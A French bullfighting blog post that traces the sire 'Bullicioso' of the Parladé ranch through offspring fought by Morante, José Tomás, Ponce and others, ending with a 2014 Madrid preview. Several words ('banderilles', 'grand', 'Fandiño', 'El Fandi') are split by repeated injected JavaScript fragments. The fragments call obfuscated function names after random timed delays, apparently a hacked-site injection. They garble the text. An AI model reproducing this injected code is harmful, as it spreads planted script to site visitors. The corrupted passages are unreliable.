RETENEZ CE NOM : « BULLICIOSO »

On ne l’a jamais vu, on ne le verra jamais charger dans une arène. « Bullicioso », issu de « Bulliciosa », de la lignée de « Decidor », semental décisif de l’élevage de Juan Pedro Domecq Solis, fut tienté et toréé par Julián López « El Juli », dans l’élevage de Parladé, propriété de Juan Pedro Domecq Morenés, fils de l’antérieur.

Il fit preuve d’un jeu étonnant, et le torero de Velilla commenta qu’il n’avait jamais vu un taureau charger ainsi dans le campo. Il prit trois piques qui le firent saigner passablement, et à la muleta il combattit en baissant la tête, poursuivit le leurre avec zèle et  avec de longues et profondes charges, d’une durée hors du commun.

Mais ces histoires sont la partie secrète de la Fiesta, elles se déroulent dans les laboratoires du toreo. La première nouvelle que j’eus de lui fut à Barcelonne, grâce au toro « Demagogo », nº 105, fils de « Bullicioso » et de la vache « Demagoga », nº769, de la camada de l’année 1999. « Demagogo » fut lidié et tué par Morante de la Puebla, et ce qui compte le moins fut qu’il lui ait coupé deux oreilles et que pour l’histoire il ait été le dernier taureau lidié à la Monumental de Barcelonne (en tant que sobrero il fut lidié en cadeau en 7e lieu ).

 Le plus surprenant fut que dès son entrée il avait chargé contre dix véroniques sublimes du torero de Puebla avec la fixité et la répétition que certains taureaux n’atteignent qu’à la muleta, aux bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles il supporta un long tercio des trois matadors, et à la muleta il s’employa dans le même ton au cours d’une faena intense, basée sur des muletazos très exigeants.

A la fin de la corrida je téléphonai à l’éleveur et j’entendis ainsi pour la première fois le nom de « Bullicioso ». Ce fut le 24 septembre 2011.

Ma seconde rencontre avec « Bullicioso » eut lieu à travers « Ingrato », nº 31, lidié par José Tomas à Nîmes, le 16 septembre 2012, dans le cadre d’une corrida de six taureaux de cinq élevages. « Ingrat » fut le plus brave et fut gracié après que le torero madrilène eut réalisé une faena mémorable, tout au long de laquelle le taureau chargea avec la même disposition.

A la fin de la corrida en bavardant avec l’éleveur il m’apprit que ce taureau aussi était issu de « Bullicioso » , de sorte que « Ingrato », qui actuellement couvre les vaches à « Lo Alvaro », est son unique descendant.

Auparavant, le taureau « Disgustado » , nº 35, fils de « Disgustada », nº 279, de Parladé, avait eu droit à un tour de piste après que Enrique Ponce lui eût coupé les deux oreilles à Malaga. L’éphéméride est du 23 août 2012.

Il était également issu de « Bullicioso ».

L’année suivante, parut à Madrid un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and taureau, « Grosella », nº 34, un produit de la vache « Grosella », nº 494, de Parladé aussi. Ce fut un taureau très brave et impétueux . Ivan Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño lui fit une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena , il fut encorné gravement,  et on lui concéda chichement une oreille. Son style violent dans la charge devait être plus influencé par la mère que par « Bullicioso », toujours promoteur d’une bravoure égale en intensité mais avec plus de classe.

En 2012 furent lidiés deux autres descendants de « Bullicioso ». Le premier fut « Falador », qui venait de « Faladora », nº 378, de Parladé. Il démontra ses qualités à Séville, le 18 avril. Son matador était Jimenez Fortes, qui perdit les deux oreilles à cause de l’épée. Et le second « Ferretero », nº 65, issu de « Ferretera », nº 381, de Parladé, fut lidié à Valladolid par El Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andi, qui lui coupa deux oreilles. Ce fut le taureau le plus brave d’une corrida où les six « juanpedros » chargèrent tous  et l’un d’entre eux fut recompensé d’un tour de piste.

Que nous réserve « Bullicioso » en cette année 2014 ? Pour commencer, le  le 13 mai à Madrid, quatre de ses descendants, « Fanfarin », nº 77, « Teatrero, nº 59, « Jiribilla »,nº 26 et « Ahamesco », nº 24, passeront l’examen à las Ventas.

Et bien que l’incertitude soit la déesse de la Fiesta, tout nous laisse à penser qu’au moins une paire d’entre eux continueront la saga de bravoure initiée par « Bullicioso », un semental qui peut faire histoire, comme le célèbre  « Aldeano »,  issu précisément de « Decidor » , qui porta aux nues l’élevage de Victoriano del Rio.

Attention: 13 mai 2014.

Ingrato gracié à Nimes en septembre 2012 par José Tomas. Photo de Bruno Lasnier avril 2014.

ingrato01

Les commentaires sont fermés.